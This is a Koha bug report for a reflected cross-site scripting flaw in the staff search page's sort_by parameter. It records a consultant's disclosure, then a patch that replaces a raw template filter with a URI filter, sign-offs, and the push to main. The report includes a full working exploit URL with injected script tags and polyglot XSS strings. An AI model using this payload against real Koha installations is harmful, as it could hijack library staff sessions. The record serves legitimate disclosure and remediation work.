Bug 37466 - Reflected Cross Site Scripting
Summary: Reflected Cross Site Scripting
Status: RESOLVED FIXED
Alias: None
Product: Koha
Classification: Unclassified
Component: Staff interface (show other bugs)
Version: Main
Hardware: All All
: P5 - low critical
Assignee: David Cook
QA Contact: Aleisha Amohia
URL:
Keywords:
Depends on: 22605
Blocks:
  Show dependency treegraph
 
Reported: 2024-07-25 06:05 UTC by Jack
Modified: 2024-08-22 16:18 UTC (History)
16 users (show)

See Also:
Change sponsored?: ---
Patch complexity: ---
Documentation contact:
Documentation submission:
Text to go in the release notes:
Version(s) released in:
24.11.00,24.05.03,23.11.08,23.05.14,22.11.20
Circulation function:


Attachments
XSS in Firefox. (222.40 KB, image/png)
2024-07-25 06:05 UTC, Jack
Details
Bug 37466: Add correct filter for sort_by in results.tt (2.83 KB, patch)
2024-07-25 06:46 UTC, David Cook
Details | Diff | Splinter Review
Bug 37466: Add correct filter for sort_by in results.tt (2.89 KB, patch)
2024-07-28 19:55 UTC, Victor Grousset/tuxayo
Details | Diff | Splinter Review
Bug 37466: Add correct filter for sort_by in results.tt (2.95 KB, patch)
2024-07-28 23:59 UTC, Aleisha Amohia
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Jack 2024-07-25 06:05:09 UTC
Created attachment 169539 [details]
XSS in Firefox.

Hi Koha team,

I'm a security consultant with Bastion Security, we've identified a reflected XSS vulnerability within the sort_by field:


When clicked, the following link would lead to the execution of JavaScript within the context of the user who clicked it:

https://<HOST>/cgi-bin/koha/catalogue/search.pl?advsearch=1&idx=kw&q=alert%601%60+setTimeout%60alert%5Cu0028document.domain%5Cu0029%60%3B&idx=kw&q=t%3F.%281%29%2F%2F%27%2F*%5C%27%2F*%22%2F*%5C%22%2F*%60%2F*%5C%60%2F*%2526apos%3B%29%2F*%3C%21--%3E%3C%2FTitle%2F%3C%2FStyle%2F%3C%2FScript%2F%3C%2FtextArea%2F%3C%2FiFrame%2F%3C%2FnoScript%3E%5C74k%3CK%2FcontentEditable%2FautoFocus%2FOnFocus%3D%2F*%24%7B%2F*%2F%3B%7B%2F*%2F%28alert%29%281%29%7D%2F%2F%3E%3CBase%2FHref%3D%2F%2FX55.is%5C76--%3E&idx=kw&q=%27%3Cbr+%2F%3E%3CBR+SIZE%3D%22%26%7Balert%28%27XSS%27%29%7D%22%3E%3Cbr+%2F%3E&sort_by=c9p47%22%3e%3cscript%3ealert(document.location)%3c%2fscript%3ewxssv

This could be used to assist an attacker in gaining unauthorized access, or to assist in elevating their privileges.

As Koha is open source it would be possible for an attacker to identify this and use it against existing implementations of Koha.

This vulnerability was identified on version 23.11.06 of Koha.
Comment 1 David Cook 2024-07-25 06:20:34 UTC
Thanks for this report. Should be a quick fix.

I'm a bit surprised this bug was created in the first place. Looks like maybe a copy/paste human error...
Comment 2 David Cook 2024-07-25 06:46:44 UTC
Created attachment 169540 [details] [review]
Bug 37466: Add correct filter for sort_by in results.tt

This patch replaces the $raw filter with the correct uri filter
for the sort_by in results.tt

Test plan:
1. Apply patch
2. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=1
3. Click on "Edit this search"
4. Note that the "Popularity (most to least)" Sort by option is selected
5. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=24y24ty2498294t9824yt9y23
6. Click on "Edit this search"
7. Note that the "Popularity (most to least)" Sort by option is selected
Comment 5 Victor Grousset/tuxayo 2024-07-28 19:55:11 UTC
Created attachment 169799 [details] [review]
Bug 37466: Add correct filter for sort_by in results.tt

This patch replaces the $raw filter with the correct uri filter
for the sort_by in results.tt

Test plan:
1. Apply patch
2. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=1
3. Click on "Edit this search"
4. Note that the "Popularity (most to least)" Sort by option is selected
5. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=24y24ty2498294t9824yt9y23
6. Click on "Edit this search"
7. Note that the "Popularity (most to least)" Sort by option is selected

Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Comment 6 Victor Grousset/tuxayo 2024-07-28 19:55:40 UTC
It's works! :)

(checked also that it fixes the XSS)
Comment 7 Aleisha Amohia 2024-07-28 23:59:21 UTC
Created attachment 169802 [details] [review]
Bug 37466: Add correct filter for sort_by in results.tt

This patch replaces the $raw filter with the correct uri filter
for the sort_by in results.tt

Test plan:
1. Apply patch
2. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=1
3. Click on "Edit this search"
4. Note that the "Popularity (most to least)" Sort by option is selected
5. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=24y24ty2498294t9824yt9y23
6. Click on "Edit this search"
7. Note that the "Popularity (most to least)" Sort by option is selected

Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Aleisha Amohia <aleishaamohia@hotmail.com>
Comment 8 Tomás Cohen Arazi (tcohen) 2024-08-12 14:38:10 UTC
Pushed to main for 24.11.

Nice work everyone, thanks!